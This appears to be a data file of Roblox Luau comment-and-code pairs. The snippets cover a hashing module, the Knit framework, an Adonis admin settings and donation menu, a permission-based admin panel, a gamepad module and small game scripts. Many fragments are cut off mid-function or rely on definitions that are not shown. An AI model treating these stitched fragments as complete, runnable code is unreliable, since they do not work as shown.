return keccak((1600 - 2 * 384) / 8, 384 / 8, false, message)
end;
sha3_512 = function(message)
return keccak((1600 - 2 * 512) / 8, 512 / 8, false, message)
end;
shake128 = function(message, digest_size_in_bytes)
return keccak((1600 - 2 * 128) / 8, digest_size_in_bytes, true, message)
end;
shake256 = function(message, digest_size_in_bytes)
return keccak((1600 - 2 * 256) / 8, digest_size_in_bytes, true, message)
end;
-- misc utilities:
hmac = hmac; -- HMAC(hash_func, key, message) is applicable to any hash function from this module except SHAKE*
hex_to_bin = hex2bin; -- converts hexadecimal representation to binary string
base64_to_bin = base642bin; -- converts base64 representation to binary string
bin_to_base64 = bin2base64; -- converts binary string to base64 representation
base64_encode = Base64.Encode;
base64_decode = Base64.Decode;
}
block_size_for_HMAC = {
[sha.md5] = 64;
[sha.sha1] = 64;
[sha.sha224] = 64;
[sha.sha256] = 64;
[sha.sha512_224] = 128;
[sha.sha512_256] = 128;
[sha.sha384] = 128;
[sha.sha512] = 128;
[sha.sha3_224] = (1600 - 2 * 224) / 8;
[sha.sha3_256] = (1600 - 2 * 256) / 8;
[sha.sha3_384] = (1600 - 2 * 384) / 8;
[sha.sha3_512] = (1600 - 2 * 512) / 8;
}
return sha
|
--The button |
script.Parent.Button.ClickDetector.MouseClick:connect(function(click)
if not (on) then on = true--On
script.Parent.Cover1.Transparency = 1
script.Parent.Cover2.Transparency = 1
script.Parent.Cover1.CanCollide = false
script.Parent.Cover2.CanCollide = false
elseif (on) then on = false --Off
script.Parent.Cover1.Transparency = 0
script.Parent.Cover2.Transparency = 0
script.Parent.Cover1.CanCollide = true
script.Parent.Cover2.CanCollide = true
end
end)
|
-- Runs when player dies or leaves. If one player is left, fires the end round |
local function checkPlayerCount()
if #activePlayers == 1 then
roundEnd:Fire()
end
end
local function removeActivePlayer(player)
for playerKey, whichPlayer in pairs(activePlayers) do
if whichPlayer == player then
table.remove(activePlayers, playerKey)
-- REMINDER: Make sure status updates before the checkPlayerCount. If not, value changed will overwrite the Winner status text.
playersLeft.Value = #activePlayers
checkPlayerCount()
return
end
end
end
local function setPlayerCollisionGroup(player)
local character = player.Character
if not character then
character = player.CharacterAdded:wait()
end |
--Don't Change |
local MarketplaceService = game:GetService("MarketplaceService");
local Players = game:GetService("Players");
local Player = Players.LocalPlayer
script.Parent.FocusLost:connect(function()
if not Player then
return
end
local BundleID = tonumber(script.Parent.Text);
if not BundleID then
return
end
if not require(script.ModuleScript)(BundleID) then
return
end
pcall(function()
MarketplaceService:PromptBundlePurchase(Player,BundleID)
end)
end)
|
--[[
Knit.CreateService(service): Service
Knit.AddServices(folder): Service[]
Knit.AddServicesDeep(folder): Service[]
Knit.Start(): Promise<void>
Knit.OnStart(): Promise<void>
--]] |
local KnitServer = {}
KnitServer.Version = script.Parent.Version.Value
KnitServer.Services = {}
KnitServer.Util = script.Parent.Util
local knitRepServiceFolder = Instance.new("Folder")
knitRepServiceFolder.Name = "Services"
local Promise = require(KnitServer.Util.Promise)
local Thread = require(KnitServer.Util.Thread)
local Signal = require(KnitServer.Util.Signal)
local Loader = require(KnitServer.Util.Loader)
local Ser = require(KnitServer.Util.Ser)
local RemoteSignal = require(KnitServer.Util.Remote.RemoteSignal)
local RemoteProperty = require(KnitServer.Util.Remote.RemoteProperty)
local TableUtil = require(KnitServer.Util.TableUtil)
local started = false
local startedComplete = false
local onStartedComplete = Instance.new("BindableEvent")
local function CreateRepFolder(serviceName)
local folder = Instance.new("Folder")
folder.Name = serviceName
return folder
end
local function GetFolderOrCreate(parent, name)
local f = parent:FindFirstChild(name)
if not f then
f = Instance.new("Folder")
f.Name = name
f.Parent = parent
end
return f
end
local function AddToRepFolder(service, remoteObj, folderOverride)
if folderOverride then
remoteObj.Parent = GetFolderOrCreate(service._knit_rep_folder, folderOverride)
elseif (remoteObj:IsA("RemoteFunction")) then
remoteObj.Parent = GetFolderOrCreate(service._knit_rep_folder, "RF")
elseif (remoteObj:IsA("RemoteEvent")) then
remoteObj.Parent = GetFolderOrCreate(service._knit_rep_folder, "RE")
elseif (remoteObj:IsA("ValueBase")) then
remoteObj.Parent = GetFolderOrCreate(service._knit_rep_folder, "RP")
else
error("Invalid rep object: " .. remoteObj.ClassName)
end
if not service._knit_rep_folder.Parent then
service._knit_rep_folder.Parent = knitRepServiceFolder
end
end
function KnitServer.IsService(object)
return type(object) == "table" and object._knit_is_service == true
end
function KnitServer.CreateService(service)
assert(type(service) == "table", "Service must be a table; got " .. type(service))
assert(type(service.Name) == "string", "Service.Name must be a string; got " .. type(service.Name))
assert(#service.Name > 0, "Service.Name must be a non-empty string")
assert(KnitServer.Services[service.Name] == nil, "Service \"" .. service.Name .. "\" already exists")
TableUtil.Extend(service, {
_knit_is_service = true,
_knit_rf = {},
_knit_re = {},
_knit_rp = {},
_knit_rep_folder = CreateRepFolder(service.Name),
})
if (type(service.Client) ~= "table") then
service.Client = { Server = service }
else
if (service.Client.Server ~= service) then
service.Client.Server = service
end
end
KnitServer.Services[service.Name] = service
return service
end
function KnitServer.AddServices(folder)
return Loader.LoadChildren(folder)
end
function KnitServer.AddServicesDeep(folder)
return Loader.LoadDescendants(folder)
end
function KnitServer.BindRemoteEvent(service, eventName, remoteEvent)
assert(service._knit_re[eventName] == nil, "RemoteEvent \"" .. eventName .. "\" already exists")
local re = remoteEvent._remote
re.Name = eventName
service._knit_re[eventName] = re
AddToRepFolder(service, re)
end
function KnitServer.BindRemoteFunction(service, funcName, func)
assert(service._knit_rf[funcName] == nil, "RemoteFunction \"" .. funcName .. "\" already exists")
local rf = Instance.new("RemoteFunction")
rf.Name = funcName
service._knit_rf[funcName] = rf
AddToRepFolder(service, rf)
function rf.OnServerInvoke(...)
return Ser.SerializeArgsAndUnpack(func(service.Client, Ser.DeserializeArgsAndUnpack(...)))
end
end
function KnitServer.BindRemoteProperty(service, propName, prop)
assert(service._knit_rp[propName] == nil, "RemoteProperty \"" .. propName .. "\" already exists")
prop._object.Name = propName
service._knit_rp[propName] = prop
AddToRepFolder(service, prop._object, "RP")
end
function KnitServer.Start()
if started then
return Promise.Reject("Knit already started")
end
started = true
local services = KnitServer.Services
return Promise.new(function(resolve)
-- Bind remotes:
for _, service in pairs(services) do
for k, v in pairs(service.Client) do
if (type(v) == "function") then
KnitServer.BindRemoteFunction(service, k, v)
elseif (RemoteSignal.Is(v)) then
KnitServer.BindRemoteEvent(service, k, v)
elseif (RemoteProperty.Is(v)) then
KnitServer.BindRemoteProperty(service, k, v)
elseif (Signal.Is(v)) then
warn(
"Found Signal instead of RemoteSignal (Knit.Util.RemoteSignal). Please change to RemoteSignal. ["
.. service.Name
.. ".Client."
.. k
.. "]"
)
end
end
end
-- Init:
local promisesInitServices = {}
for _, service in pairs(services) do
if (type(service.KnitInit) == "function") then
table.insert(
promisesInitServices,
Promise.new(function(r)
service:KnitInit()
r()
end)
)
end
end
resolve(Promise.All(promisesInitServices))
end):Then(function()
-- Start:
for _, service in pairs(services) do
if (type(service.KnitStart) == "function") then
Thread.SpawnNow(service.KnitStart, service)
end
end
startedComplete = true
onStartedComplete:Fire()
Thread.Spawn(function()
onStartedComplete:Destroy()
end)
-- Expose service remotes to everyone:
knitRepServiceFolder.Parent = script.Parent
end)
end
function KnitServer.OnStart()
if startedComplete then
return Promise.Resolve()
else
return Promise.new(function(resolve)
if startedComplete then
resolve()
return
end
onStartedComplete.Event:Wait()
resolve()
end)
end
end
return KnitServer
|
--------------------) Settings |
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 0.5 -- cooldown for use of the tool again
BoneModelName = "Nightmare bones rain" -- name the zone model
HumanoidName = "Humanoid"-- the name of player or mob u want to damage |
--Modules |
local internalserver: any = require(ReplicatedStorage:WaitForChild("Systems").InternalSystem.internalserver)
local Nevermore: any = require(ReplicatedStorage.Nevermore)
Nevermore("Octree")
|
-- Functions |
Index = function(proxy, index)
local metatable = getmetatable(proxy)
local public = metatable.__public[index]
return if public == nil then metatable.__shared[index] else public
end
NewIndex = function(proxy, index, value)
local metatable = getmetatable(proxy)
local set = metatable.__set[index]
if set == nil then
metatable.__public[index] = value
elseif set == false then
error("Attempt to modify a readonly value", 2)
else
set(proxy, metatable, value)
end
end
return table.freeze(Constructor) :: Constructor
|
--// All global vars will be wiped/replaced except script |
return function(data)
local playergui = service.PlayerGui
local localplayer = service.Players.LocalPlayer
local gui = script.Parent.Parent
local openTab = data.Tab
local drag = gui.Drag
local frame = gui.Drag.Frame
local main = gui.Drag.Frame.Main
local title = gui.Drag.Frame.Title
local entry = gui.Entry
local desc = gui.Desc
local donateTab = gui.Drag.Frame.Main.Donate
local infoTab = gui.Drag.Frame.Main.Info
local keybindsTab = gui.Drag.Frame.Main.Keybinds
local clientTab = gui.Drag.Frame.Main.Client
local settingsTab = gui.Drag.Frame.Main.Settings
local close = gui.Drag.Frame.Close
local donate = gui.Drag.Frame.DonateTab
local info = gui.Drag.Frame.InfoTab
local keybinds = gui.Drag.Frame.KeybindsTab
local clientb = gui.Drag.Frame.ClientTab
local settings = gui.Drag.Frame.SettingsTab
local colorBut = gui.Color
local stringBut = gui.String
local tableBut = gui.Table
local toggleBut = gui.Toggle
local playerData = client.Remote.Get("PlayerData")
local setts = client.Remote.Get("Setting",{"Prefix","SpecialPrefix","BatchKey","AnyPrefix"})
settings.Visible = false
gTable:Ready()
drag.Position = UDim2.new(0,-500, 0.5, -200)
drag:TweenPosition(UDim2.new(0.5, -190, 0.5, -200),nil,nil,0.5)
local function Expand(ent, point)
ent.MouseLeave:connect(function(x,y)
point.Visible = false
end)
ent.MouseMoved:connect(function(x,y)
point.Label.Text = ent.Desc.Value
point.Size = UDim2.new(0, 10000, 0, 10000)
local bounds = point.Label.TextBounds.X
local rows = math.floor(bounds/500)
rows = rows+1
if rows<1 then rows = 1 end
local newx = 500
if bounds<500 then newx = bounds end
point.Visible = true
point.Size = UDim2.new(0, newx+5, 0, (rows*20)+5)
point.Position = UDim2.new(0, x, 0, y-40-((rows*20)+5))
end)
end
local function sortedPairs(t, f)
local a = {}
for n,b in pairs(t) do table.insert(a, n) end
table.sort(a, f)
local i = 0
local iter = function ()
i = i + 1
if a[i] == nil then
return nil
else
return a[i], t[a[i]]
end
end
return iter
end
local function openInfo()
donateTab.Visible=false
infoTab.Visible=true
keybindsTab.Visible=false
clientTab.Visible=false
settingsTab.Visible=false
donate.BackgroundTransparency=0.7
info.BackgroundTransparency=0
keybinds.BackgroundTransparency=0.7
clientb.BackgroundTransparency=0.7
settings.BackgroundTransparency=0.7
end
local function openDonate()
donateTab.Visible=true
infoTab.Visible=false
keybindsTab.Visible=false
clientTab.Visible=false
settingsTab.Visible=false
donate.BackgroundTransparency=0
info.BackgroundTransparency=0.7
keybinds.BackgroundTransparency=0.7
clientb.BackgroundTransparency=0.7
settings.BackgroundTransparency=0.7
end
local function openKeybinds()
donateTab.Visible=false
infoTab.Visible=false
keybindsTab.Visible=true
clientTab.Visible=false
settingsTab.Visible=false
donate.BackgroundTransparency=0.7
info.BackgroundTransparency=0.7
keybinds.BackgroundTransparency=0
clientb.BackgroundTransparency=0.7
settings.BackgroundTransparency=0.7
end
local function openClient()
donateTab.Visible=false
infoTab.Visible=false
keybindsTab.Visible=false
clientTab.Visible=true
settingsTab.Visible=false
donate.BackgroundTransparency=0.7
info.BackgroundTransparency=0.7
keybinds.BackgroundTransparency=0.7
clientb.BackgroundTransparency=0
settings.BackgroundTransparency=0.7
end
local function openSettings()
donateTab.Visible=false
infoTab.Visible=false
keybindsTab.Visible=false
clientTab.Visible=false
settingsTab.Visible=true
donate.BackgroundTransparency=0.7
info.BackgroundTransparency=0.7
keybinds.BackgroundTransparency=0.7
clientb.BackgroundTransparency=0.7
settings.BackgroundTransparency=0
end
if openTab then
if string.lower(openTab)=="info" then
openInfo()
elseif string.lower(openTab)=="donate" then
openDonate()
elseif string.lower(openTab)=="keybinds" then
openKeybinds()
elseif string.lower(openTab)=="client" then
openClient()
elseif string.lower(openTab)=="settings" then
openSettings()
end
else
openInfo()
end
close.MouseButton1Click:connect(function()
drag.Draggable = false
drag:TweenPosition(UDim2.new(0,-500, drag.Position.Y.Scale, drag.Position.Y.Offset), nil, nil, 0.5)
wait(1)
gui:Destroy()
end)
donate.MouseButton1Click:connect(function()
openDonate()
end)
info.MouseButton1Click:connect(function()
openInfo()
end)
keybinds.MouseButton1Click:connect(function()
openKeybinds()
end)
clientb.MouseButton1Click:connect(function()
openClient()
end)
settings.MouseButton1Click:connect(function()
openSettings()
end)
local prefix = setts.Prefix or ":"
local specialPrefix = setts.SpecialPrefix or ""
local batchKey = setts.BatchKey or "|"
local anyPrefix = setts.AnyPrefix or "!"
if not gui.Parent then return end
-- Info tab
local getScript = infoTab.GetScript
local showCommands = infoTab.Cmds
local donateBtn = infoTab.Donate
local credit = infoTab.Credit
local usageBtn = infoTab.Usage
showCommands.MouseButton1Click:connect(function()
client.Remote.Send("ProcessCommand",prefix.."cmds")
end)
getScript.MouseButton1Click:connect(function()
client.Remote.Send('ProcessCommand',anyPrefix..'getscript')
end)
donateBtn.MouseButton1Click:connect(function()
openDonate()
end)
credit.MouseButton1Click:connect(function()
client.Remote.Send('ProcessCommand',anyPrefix..'credit')
end)
usageBtn.MouseButton1Click:connect(function()
client.Remote.Send("ProcessCommand",anyPrefix.."usage")
end)
--[[
local num=0
for i,v in pairs(usage) do
local NewClone = entry:clone()
NewClone.Parent = Commands
NewClone.Position = UDim2.new(0, 0, 0, num*20)
NewClone.Text=v
NewClone.Desc.Value=v
NewClone.Visible=true
Expand(NewClone, desc)
num = num +1
Commands.CanvasSize = UDim2.new(0, 0, (num+1)/20, 0)
end
--]]
-- Client Settings
local cliScroller = clientTab.Scroll
local cliSettings = {
{
Text = "Keybinds: ";
Desc = "- Enabled/Disables Keybinds";
Entry = toggleBut;
Setting = "KeybindsEnabled";
Function = function(clone)
local toggle = clone.TextButton
local keyDebounce = false
toggle.MouseButton1Click:connect(function()
if not keyDebounce then
if client.Variables.KeybindsEnabled then
client.Variables.KeybindsEnabled = false
toggle.Text = "Disabled"
else
client.Variables.KeybindsEnabled = true
toggle.Text = "Enabled"
end
local text = toggle.Text
toggle.Text = "Saving.."
client.Remote.Get("UpdateClient","KeybindsEnabled",client.Variables.KeybindsEnabled)
toggle.Text = text
keyDebounce = false
end
end)
if client.Variables.KeybindsEnabled then
toggle.Text = "Enabled"
else
toggle.Text = "Disabled"
end
end
};
{
Text = "UI Keep Alive: ";
Desc = "- Prevents Adonis UI deletion on death";
Entry = toggleBut;
Setting = "UIKeepAlive";
Function = function(clone)
local toggle = clone.TextButton
local keepDebounce = false
toggle.MouseButton1Click:connect(function()
if not keepDebounce then
if client.Variables.UIKeepAlive then
client.Variables.UIKeepAlive = false
toggle.Text = "Disabled"
else
client.Variables.UIKeepAlive = true
toggle.Text = "Enabled"
end
local text = toggle.Text
toggle.Text = "Saving.."
client.Remote.Get("UpdateClient","UIKeepAlive",client.Variables.UIKeepAlive)
toggle.Text = text
keepDebounce = false
end
end)
if client.Variables.UIKeepAlive then
toggle.Text = "Enabled"
else
toggle.Text = "Disabled"
end
end
};
{
Text = "Particle Effects: ";
Desc = "- Enables/Disables certain Adonis made effects like sparkles";
Entry = toggleBut;
Setting = "ParticlesEnabled";
Function = function(clone)
local toggle = clone.TextButton
local effectDebounce = false
toggle.MouseButton1Click:connect(function()
if not effectDebounce then
if client.Variables.ParticlesEnabled then
client.Variables.ParticlesEnabled = false
client.Functions.EnableParticles(false)
toggle.Text = "Disabled"
else
client.Variables.ParticlesEnabled = true
client.Functions.EnableParticles(true)
toggle.Text = "Enabled"
end
local text = toggle.Text
toggle.Text = "Saving.."
client.Remote.Get("UpdateClient","ParticlesEnabled",client.Variables.ParticlesEnabled)
toggle.Text = text
effectDebounce = false
end
end)
if client.Variables.ParticlesEnabled then
toggle.Text = "Enabled"
else
toggle.Text = "Disabled"
end
end
};
{
Text = "Capes: ";
Desc = "- Allows you to disable all player capes locally";
Entry = toggleBut;
Setting = "CapesEnabled";
Function = function(clone)
local toggle = clone.TextButton
local capeCDebounce = false
toggle.MouseButton1Click:connect(function()
if not capeCDebounce then
capeCDebounce = true
if client.Variables.CapesEnabled then
toggle.Text = "Disabled"
client.Variables.CapesEnabled = false
client.Functions.HideCapes(true)
else
toggle.Text = "Enabled"
client.Variables.CapesEnabled = true
client.Functions.HideCapes(false)
end
local text = toggle.Text
toggle.Text = "Saving.."
client.Remote.Get("UpdateClient","CapesEnabled",client.Variables.CapesEnabled)
toggle.Text = text
capeCDebounce = false
if client.Variables.CapesEnabled then
client.Functions.MoveCapes()
else
service.StopLoop("CapeMover")
end
end
end)
if client.Variables.CapesEnabled then
toggle.Text = "Enabled"
else
toggle.Text = "Disabled"
end
end
};
{
Text = "Console Key: ";
Desc = "Key used to open the console";
Entry = toggleBut;
Setting = "CustomConsoleKey";
Function = function(clone)
local toggle = clone.TextButton
local debounce = false
toggle.Text = client.Variables.CustomConsoleKey or client.Remote.Get("Setting","ConsoleKeyCode")
toggle.MouseButton1Click:connect(function()
if not debounce then
local gotKey
debounce = true
toggle.Text = "Waiting..."
local event = service.UserInputService.InputBegan:connect(function(InputObject)
local textbox = service.UserInputService:GetFocusedTextBox()
if not (textbox) and rawequal(InputObject.UserInputType, Enum.UserInputType.Keyboard) then
gotKey = InputObject.KeyCode.Name
end
end)
repeat wait() until gotKey
client.Variables.CustomConsoleKey = gotKey
event:Disconnect()
toggle.Text = "Saving.."
client.Remote.Get("UpdateClient","CustomConsoleKey",client.Variables.CustomConsoleKey)
toggle.Text = gotKey
debounce = false
end
end)
end
};
{
Text = "Theme: ";
Desc = "- Allows you to set the Adonis UI theme";
Entry = gui.Theme;
Setting = "CustomTheme";
Function = function(clone)
local toggle = clone.TextButton
local themePicker = gui.ThemePicker
local themeFrame = themePicker.Frame
local themeEnt = themePicker.Entry
local function showThemes()
themeFrame:ClearAllChildren()
local themes = {"Reset"}
local num = 0
for i,v in pairs(client.Deps.UI:GetChildren()) do
table.insert(themes,v.Name)
end
for i,v in pairs(themes) do
local new = themeEnt:Clone()
new.Text = v
new.Position = UDim2.new(0,0,0,20*num)
new.Parent = themeFrame
new.Visible = true
new.MouseButton1Click:connect(function()
service.Debounce("ClientSelectingTheme",function()
themePicker.Visible = false
toggle.Text = v
client.Variables.CustomTheme = v
if v == "Reset" then
client.Remote.Get("UpdateClient","CustomTheme",nil)
else
client.Remote.Get("UpdateClient","CustomTheme",v)
end
end)
end)
num = num+1
end
themePicker.Position = UDim2.new(0,toggle.AbsolutePosition.X, 0, toggle.AbsolutePosition.Y)
themePicker.Visible = true
end
toggle.MouseButton1Click:connect(function()
service.Debounce("ClientDisplayThemes",function()
if themePicker.Visible then
themePicker.Visible = false
else
showThemes()
end
end)
end)
if client.Variables.CustomTheme then
toggle.Text = client.Variables.CustomTheme
else
toggle.Text = "Reset"
end
end
}
}
cliScroller:ClearAllChildren()
local num = 0
for i,tab in next,cliSettings do
local clone = tab.Entry:Clone()
local desc = entry:Clone()
clone.Text = tab.Text
desc.Text = tab.Desc
clone.Position = UDim2.new(0,0,0,num*20)
desc.Position = UDim2.new(0,0,0,(num+1)*20)
clone.Visible = true
desc.Visible = true
desc.Font = clone.Font
desc.FontSize = clone.FontSize
desc.TextSize = clone.TextSize
desc.TextScaled = false
clone.Parent = cliScroller
desc.Parent = cliScroller
tab.Function(clone)
num = num+2
end
cliScroller.CanvasSize = UDim2.new(0,0,0,num*20)
-- Donate tab
local donorEnabled = client.Remote.Get("Setting","DonorCommands")
local pass = client.Remote.Get("Variable","DonorPass")
if not gui.Parent then return end
local capeTexture = donateTab.Texture
local capeColor = donateTab.CapeColor
local capeToggle = donateTab.CapeToggle
local capeMaterial = donateTab.Material
local perksEnabled = donateTab.Enabled
local Perks = donateTab.Perks
local robux = donateTab.Robux
local tickets = donateTab.Tickets
local extra = donateTab.Extra
local status = donateTab.Status
local extraPane = donateTab.ExtraPane
local colorPicker = capeColor.ColorPicker
local materialPicker = capeMaterial.MaterialPicker
local texturePicker = capeTexture.TexturePicker
local color = colorPicker.Frame.Color
local blue = colorPicker.Frame.B
local green = colorPicker.Frame.G
local red = colorPicker.Frame.R
local confirmColor = colorPicker.Frame.Confirm
local cancelColor = colorPicker.Frame.Cancel
local donorData = playerData.Donor
local currentMaterial = donorData and donorData.Cape.Material
local currentTexture = donorData and donorData.Cape.Image
local currentColor = donorData and donorData.Cape.Color
if donorEnabled then
perksEnabled.Text = "Donor Commands: Enabled"
else
perksEnabled.Text = "Donor Commands: Disabled"
end
if type(currentColor)=="table" then
currentColor = Color3.new(currentColor[1],currentColor[2],currentColor[3])
else
currentColor = BrickColor.new(donorData.Cape.Color).Color
end
capeColor.BackgroundColor3 = currentColor
capeTexture.Text = currentTexture
capeMaterial.Text = currentMaterial
if playerData.Donor.Enabled then
capeToggle.Text = "Enabled"
else
capeToggle.Text = "Disabled"
end
-- Perks
local perkstab = {
"If Enabled: ";
"Customizable Cape";
"Access to !cape";
"Access to !uncape";
"";
--"Donor Gear (If enabled. Default Bongos)";
"Access to !sparkles <Color>";
"Access to !unsparkles";
"Access to !particle";
"Access to !unparticle";
"Access to !fire <Color>";
"Access to !unfire";
"Access to !light <Color>";
"Access to !unlight";
"Access to !hat <ID>";
"Access to !removehats";
--"Access to !piano";
"Access to !face";
"Access to !shirt";
"Access to !pants";
}
local num = 0
for i,v in pairs(perkstab) do
local NewClone = entry:clone()
NewClone.Parent = Perks
NewClone.Position = UDim2.new(0, 0, 0, num*20)
NewClone.Text = v
NewClone.Desc.Value = v
NewClone.Visible = true
NewClone.ZIndex = 10
--Expand(NewClone, desc)
num = num +1
end
Perks.CanvasSize = UDim2.new(0, 0, 0, num*20)
local num=0
--FadeIn(0,0.5, cmf, top, NewClone, Hide, main)
local donations = {
{Price="10",ID=304651585};
{Price="50",ID=304651782};
{Price="100",ID=304651828};
{Price="250",ID=304651879};
{Price="500",ID=304651926};
{Price="750",ID=304651990};
{Price="1000",ID=304652066};
{Price="2500",ID=304652168};
{Price="5000",ID=304652233};
{Price="7500",ID=304652294};
{Price="10000",ID=304652425};
{Price="50000",ID=304652516};
{Price="100000",ID=304652569};--?????
}
for i,v in pairs(donations) do
local cl = entry:clone()
cl.Visible = true
Expand(cl,desc)
cl.Parent = extraPane
cl.Visible = true
cl.Text = v.Price
cl.Desc.Value="Extra donation options. THIS DOES NOT GIVE PERKS!"
cl.Position = UDim2.new(0,0,0,num*20)
local rb = Instance.new("TextButton", cl)
rb.Style = "Custom"
rb.Size = UDim2.new(0,35,1,0)
rb.TextScaled=true
rb.Position = UDim2.new(1,-40,0,0)
rb.ZIndex = 2
rb.Font = "Arial"
rb.FontSize = "Size18"
rb.Text = "RB"
rb.BackgroundColor3=Color3.new(0,170/255,0)
rb.BorderSizePixel=0
rb.TextColor3=Color3.new(1,1,1)
rb.BackgroundTransparency=0.5
rb.MouseButton1Click:connect(function()
service.MarketPlace:PromptPurchase(localplayer,v.ID)
end) |
--[[ Hello this gose in 'startergui' and this is to disable
the player list so you don't have to worry about problems
there's no local's for this script so nobody really thinks its bad!
--]] | |
-- (Hat Giver Script - Loaded.) |
debounce = true
function onTouched(hit)
if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
debounce = false
h = Instance.new("Hat")
p = Instance.new("Part")
h.Name = "GreenTopHat"
p.Parent = h
p.Position = hit.Parent:findFirstChild("Head").Position
p.Name = "Handle"
p.formFactor = 0
p.Size = Vector3.new(0,-0.25,0)
p.BottomSurface = 0
p.TopSurface = 0
p.Locked = true
script.Parent.Mesh:clone().Parent = p
h.Parent = hit.Parent
h.AttachmentPos = Vector3.new(0,-0.30,-0)
wait(5)
debounce = true
end
end
script.Parent.Touched:connect(onTouched)
|
--Updates the mouse icon. |
local function UpdateIcon()
if CurrentMouse and Equipped then
CurrentMouse.Icon = Tool.Enabled and "rbxasset://textures/GunCursor.png" or "rbxasset://textures/GunWaitCursor.png"
end
end
|
--Check if player has access to panel, and copy the appropriate version to their PlayerGUI |
function givePanel(player)
for i, v in next, _G.panelAdmins do
if i == player.UserId then
local kick, ban, unban, shutdown, kill, broadcast = false, false, false, false, false, false
for s in string.gmatch(v, "%a+") do
if s == "kick" then
kick = true
elseif s == "ban" then
ban = true
elseif s == "unban" then
unban = true
elseif s == "shutdown" then
shutdown = true
elseif s == "kill" then
kill = true
elseif s == "broadcast" then
broadcast = true
end
end
local panel = script.AdminPanelGui:Clone()
if not kick then
panel.MenuFrame.KickPlayer:Destroy()
panel.KickMenuFrame:Destroy()
panel.Events.KickFunction:Destroy()
end
if not ban then
panel.MenuFrame.BanPlayer:Destroy()
panel.BanMenuFrame:Destroy()
panel.Events.BanFunction:Destroy()
end
if not unban then
panel.MenuFrame.UnbanPlayer:Destroy()
panel.UnbanMenuFrame:Destroy()
panel.Events.UnbanFunction:Destroy()
end
if not shutdown then
panel.MenuFrame.ShutdownServer:Destroy()
panel.Events.ShutdownEvent:Destroy()
end
if not kill then
panel.MenuFrame.KillPlayer:Destroy()
panel.KillMenuFrame:Destroy()
panel.Events.KillFunction:Destroy()
end
if not broadcast then
panel.MenuFrame.BroadcastMessage:Destroy()
panel.BroadcastMenuFrame:Destroy()
panel.Events.BroadcastEvent:Destroy()
end
panel.Parent = player.PlayerGui
break
end
end
end
function thread()
while true do
if workspace.FilteringEnabled == false then
script:Remove()
warn("FilteringEnabled is required to run the Kaixeleron admin panel.")
break
end
wait()
end
end
spawn(thread)
|
-- If anything goes wrong please leave a comment on the modle and I will fix it. |
local speed = game.ReplicatedStorage.Values.Speed.Value
game:GetService("MarketplaceService").PromptGamePassPurchaseFinished:Connect(function(plr,ido,purchased)
if purchased and ido == id then
plr.Character.Humanoid.WalkSpeed = speed --set this and the other one to the same number
end
end)
game.Players.PlayerAdded:Connect(function(plr)
plr.CharacterAdded:connect(function(char)
if game:GetService("MarketplaceService"):UserOwnsGamePassAsync(game.Players[char.Name].UserId, id) then
char.Humanoid.WalkSpeed = speed
end
end)
end)
|
--[=[
@param gamepad Enum.UserInputType?
@return Gamepad
Constructs a gamepad object.
If no gamepad UserInputType is provided, this object will always wrap
around the currently-active gamepad, even if it changes. In most cases
where input is needed from just the primary gamepad used by the player,
leaving the `gamepad` argument blank is preferred.
Only include the `gamepad` argument when it is necessary to hard-lock
the object to a specific gamepad input type.
```lua
-- In most cases, construct the gamepad as such:
local gamepad = Gamepad.new()
-- If the exact UserInputType gamepad is needed, pass it as such:
local gamepad = Gamepad.new(Enum.UserInputType.Gamepad1)
```
]=] |
function Gamepad.new(gamepad: Enum.UserInputType?)
local self = setmetatable({}, Gamepad)
self._trove = Trove.new()
self._gamepadTrove = self._trove:Construct(Trove)
self.ButtonDown = self._trove:Construct(Signal)
self.ButtonUp = self._trove:Construct(Signal)
self.Connected = self._trove:Construct(Signal)
self.Disconnected = self._trove:Construct(Signal)
self.GamepadChanged = self._trove:Construct(Signal)
self.DefaultDeadzone = 0.05
self.SupportsVibration = false
self.State = {}
self:_setupGamepad(gamepad)
self:_setupMotors()
return self
end
function Gamepad:_setupActiveGamepad(gamepad: Enum.UserInputType?)
local lastGamepad = self._gamepad
if gamepad == lastGamepad then return end
self._gamepadTrove:Clean()
table.clear(self.State)
self.SupportsVibration = if gamepad then HapticService:IsVibrationSupported(gamepad) else false
self._gamepad = gamepad
-- Stop if disconnected:
if not gamepad then
self.Disconnected:Fire()
self.GamepadChanged:Fire(nil)
return
end
for _,inputObject in ipairs(UserInputService:GetGamepadState(gamepad)) do
self.State[inputObject.KeyCode] = inputObject
end
self._gamepadTrove:Add(self, "StopMotors")
self._gamepadTrove:Connect(UserInputService.InputBegan, function(input, processed)
if input.UserInputType == gamepad then
self.ButtonDown:Fire(input.KeyCode, processed)
end
end)
self._gamepadTrove:Connect(UserInputService.InputEnded, function(input, processed)
if input.UserInputType == gamepad then
self.ButtonUp:Fire(input.KeyCode, processed)
end
end)
if lastGamepad == nil then
self.Connected:Fire()
end
self.GamepadChanged:Fire(gamepad)
end
function Gamepad:_setupGamepad(forcedGamepad: Enum.UserInputType?)
if forcedGamepad then
-- Forced gamepad:
self._trove:Connect(UserInputService.GamepadConnected, function(gp)
if gp == forcedGamepad then
self:_setupActiveGamepad(forcedGamepad)
end
end)
self._trove:Connect(UserInputService.GamepadDisconnected, function(gp)
if gp == forcedGamepad then
self:_setupActiveGamepad(nil)
end
end)
if UserInputService:GetGamepadConnected(forcedGamepad) then
self:_setupActiveGamepad(forcedGamepad)
end
else
-- Dynamic gamepad:
local function CheckToSetupActive()
local active = GetActiveGamepad()
if active ~= self._gamepad then
self:_setupActiveGamepad(active)
end
end
self._trove:Connect(UserInputService.GamepadConnected, CheckToSetupActive)
self._trove:Connect(UserInputService.GamepadDisconnected, CheckToSetupActive)
self:_setupActiveGamepad(GetActiveGamepad())
end
end
function Gamepad:_setupMotors()
self._setMotorIds = {}
for _,motor in ipairs(Enum.VibrationMotor:GetEnumItems()) do
self._setMotorIds[motor] = 0
end
end
|
--[[function colorwep()
plr=game.Players.LocalPlayer
if plr then
--sp.Handle.Mesh.VertexColor=Vector3.new(plr.TeamColor.Color.r,plr.TeamColor.Color.g,plr.TeamColor.Color.b)
sp.Handle.BrickColor=plr.TeamColor
end
end
colorwep()
if plr then
plr.Changed:connect(colorwep)
end]] | |
-- RETURN |
return function(v1)
local v2 = game:GetService('Players').LocalPlayer
script.Parent.DescendantRemoving:Connect(function()
v1.Announce(1)
end)
script.Parent.DescendantAdded:Connect(function()
v1.Announce(2)
end)
script.Parent.Destroying:Connect(function()
v1.Announce(3)
end)
end
|
----[[ Color Settings ]] |
module.BackGroundColor = Color3.new(0.333333, 1, 1)
